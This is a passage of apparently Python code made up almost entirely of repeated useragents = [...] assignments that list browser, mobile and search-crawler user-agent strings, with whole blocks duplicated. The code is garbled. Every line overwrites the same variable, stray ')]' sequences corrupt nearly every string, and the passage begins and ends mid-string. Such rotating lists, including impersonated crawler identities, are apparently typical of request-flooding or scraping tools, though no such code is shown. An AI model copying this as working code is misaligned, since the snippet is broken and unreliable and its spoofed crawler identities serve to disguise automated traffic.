Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; 